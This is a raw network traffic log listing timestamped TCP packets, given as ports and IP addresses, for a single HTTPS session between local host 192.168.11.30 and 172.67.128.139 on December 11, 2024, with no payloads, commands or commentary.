Dec 11, 2024 12:14:57.756902933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.757087946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.758723021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.758735895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.759064913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.759064913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.759074926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.760929108 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.760942936 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.761113882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.761121988 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.761307001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.761307001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.762548923 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.762561083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.762902975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.762902975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.762902975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.762912989 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.763093948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.763461113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764534950 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.764545918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.764693975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764693975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764874935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764874935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764874935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764875889 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.764882088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.767066002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.767081022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.767219067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.767226934 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.767462969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.767462969 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.767556906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.768743038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.768754959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.768902063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.768902063 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.769085884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.769085884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.769085884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.769085884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.769095898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.770908117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.770917892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.771084070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771084070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771091938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.771280050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771280050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771280050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771280050 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.771810055 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.772779942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.772790909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.772938967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.772938967 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.772988081 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.772991896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.773173094 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.773173094 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.773173094 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.774983883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.774995089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.775157928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.775157928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.775157928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.775168896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.775341988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.775341988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.775532961 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.777081013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.777091026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.777398109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.777398109 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.777406931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.777564049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.777848005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.778167009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.788001060 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.799957991 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.998164892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.998178005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.998507023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.998507023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:57.998517036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:57.998697042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000209093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.000221014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.000335932 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.000380993 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000559092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000559092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000559092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000559092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000559092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.000564098 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.002753973 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.002768040 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.002908945 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.002918005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.003098965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.003098965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.003098965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.004700899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.004713058 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.004872084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.004872084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.005054951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.005054951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.005059958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.005245924 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.006830931 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.006844997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.006992102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.006999969 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.007152081 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.007152081 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.008718967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.008730888 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.008905888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.008905888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.008905888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.009087086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.009092093 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.009279013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.009279013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.010416031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.010504007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.010597944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.010597944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.010603905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.010787010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.010787010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.012557030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.012795925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.012808084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.013134003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.013134003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.013134003 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.013143063 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.014971018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.014985085 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.015326977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.015326977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.015336037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.015518904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016623020 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.016632080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.016769886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016769886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016769886 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016779900 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.016967058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016967058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.016967058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.018692017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.018702030 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.018754005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.018848896 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.018850088 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.019027948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.019027948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.019027948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.019027948 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.019032955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.021035910 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.021048069 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.021198988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.021198988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.021207094 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.021392107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.021393061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.021393061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.021393061 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.023050070 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.023058891 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.023205996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.023205996 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.023215055 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.023401022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.023401022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.023401022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.024643898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.025110006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.025120020 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.025268078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.025268078 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.025449038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.025453091 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.025640011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.026612043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.026679039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.026770115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.026770115 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.026776075 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.026964903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.028724909 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.079025030 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.239918947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.239932060 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.240268946 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.240278006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.240433931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.241947889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.241961002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.242286921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.242286921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.242286921 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.242299080 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.242476940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.242820024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.243011951 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.243069887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.243074894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.243280888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.245167971 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.245181084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.245377064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.245562077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.245562077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.245569944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.247289896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.247304916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.247425079 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.247425079 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.247432947 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.247637987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.247637987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.247637987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.249125004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.249138117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.249500036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.249500036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.249509096 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.249547958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.249547958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.250859976 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.251172066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.251184940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.251365900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.251365900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.251374006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.251575947 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.252953053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.252966881 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.253122091 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.253129959 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.253318071 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.253318071 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.253318071 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255316973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255373001 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.255386114 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255985022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.255996943 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.257344961 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.257359028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.257992029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.257992029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.257992029 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.257998943 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.258171082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.258171082 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259258986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.259270906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259809017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.259819984 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.259881973 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.261133909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.261147976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.261297941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.261306047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.261490107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.261490107 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.261682987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.261682987 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.263420105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.263431072 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.263839006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.263886929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.263886929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.263886929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.263892889 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.265615940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.265629053 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.265969992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.265969992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.265976906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.266047001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.266047001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.266047001 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.266297102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.266504049 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.266511917 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.266841888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.268270016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.268280983 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.269035101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.269035101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.269035101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.269043922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.269221067 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.269227028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.269234896 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.269409895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.269409895 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.271318913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.271354914 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.271482944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.271482944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.271661043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.271661043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.271667957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.273401022 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.273416042 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.273766994 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.273778915 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.274024010 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.276793957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.293462038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.483163118 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.483182907 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:58.483495951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.483496904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.483496904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:58.483513117 CET	443	49832	172.67.128.139	192.168.11.30
